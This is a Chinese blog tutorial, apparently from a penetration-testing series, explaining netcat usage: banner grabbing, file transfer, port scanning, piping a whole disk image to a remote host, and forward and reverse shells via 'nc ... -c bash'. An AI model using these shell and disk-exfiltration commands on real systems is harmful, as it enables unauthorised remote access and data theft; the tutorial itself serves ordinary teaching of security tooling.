原创

网络渗透测试第一章:基本工具之NETCAT(NC)

温馨提示:
本文最后更新于 2019年10月09日,已超过 1,870 天没有更新。若文章内的图片失效(无法正常加载),请留言反馈或直接联系我

NC是一个非常小巧但很强大的网络工具,被称为网路工具中的瑞士军刀。这里就不多说,有兴趣的可以看下维基百科中的对于NC的定义:

netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.

首先,先概括的看一下NC可以实现的哪些功能:

  1. 侦听模式/传输模式

  2. telnet/获取banner信息

  3. 传输⽂文本信息

  4. 传输⽂文件/目录

  5. 加密传输⽂文件

  6. 远程控制/木⻢

  7. 加密所有流量

  8. 流媒体服务器

  9. 远程克隆硬盘

其实很多功能都是在基础功能基础上,结合其他工具或Linux自身的能力实现的,了解基本功能的使用后,就会发现其他高级功能也就很容易理解了。


1. 侦听模式/传输模式


2. telnet/获取banner信息

通过如下命令可以实现telnet的效果。

格式:

nc -vn ip port

样例:

nc -vn 220.181.12.110 110

3.传输⽂文本信息

首先服务端先开启监听端口,然后,由客户端通过IP和端口,连接到服务端,这样就可以进行文本信息的传输了。

服务端开启端口监听格式:

nc -l -p port

其中,-l指定为监听,英文listen的缩写。-p指定端口,port的缩写。

样例:

nc -l -p 333

客户端连接指定IP和端口:

格式:

nc -vn ip port

样例:

nc -vn 10.211.55.4 333

然后就可以直接输入要传输的文本信息了:

客户端发送的信息:

服务端接受的信息:

4. 传输⽂文件/目录

NC可以传输文件,结合管道及相应的工具,可以实现文件传输的加密,压缩等功能。

传输⽂文件

A:nc -lp 333 > 1.mp4
B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1

A:nc -q 1 -lp 333 < a.mp4
B: nc -nv 1.1.1.1 333 > 2.mp4

传输目录,基于目录压缩后传输,接收后再解压,实际还是文件传输。
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –

加密传⽂文件。基于文件加密工具,先加密,在解密,实则为文件传输,只是在传输前做加密,在接受后做解密。

A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

5. 流媒体服务

说明NC支持流传输的方式,变相的也说明为什么可以传输文本和文件了。

A: cat 1.mp4 | nc -lp 333
B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -


6. 端口扫描

NC是可以做端口扫描的。

格式如下:

nc -nvz ip portStart-portEnd
nc –vnzu ip portStart-portEnd

其中,u代表UDP,默认为TCP。z为zero I/O model, 意思为0 I/O模式,只做扫描,不做数据传输。

nc -nvz 1.1.1.1 1-65535 
nc –vnzu 1.1.1.1 1-1024


7. 远程克隆硬盘

该能力可以用作远程电⼦子取证,可以将目标服务器硬盘远程复制。

A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1


8. 远程控制

正向:

A:nc -lp 333 -c bash
B:nc 1.1.1.1 333

反向:

A:nc -lp 333
B:nc 1.1.1.1 333 -c bash

建立连接之后,客户端可以在远程机上执行相应的命令。有点类似于一个SSH客户端连接到主机上的效果。

注:Windows⽤用户把bash改成cmd;


正文到此结束
本文目录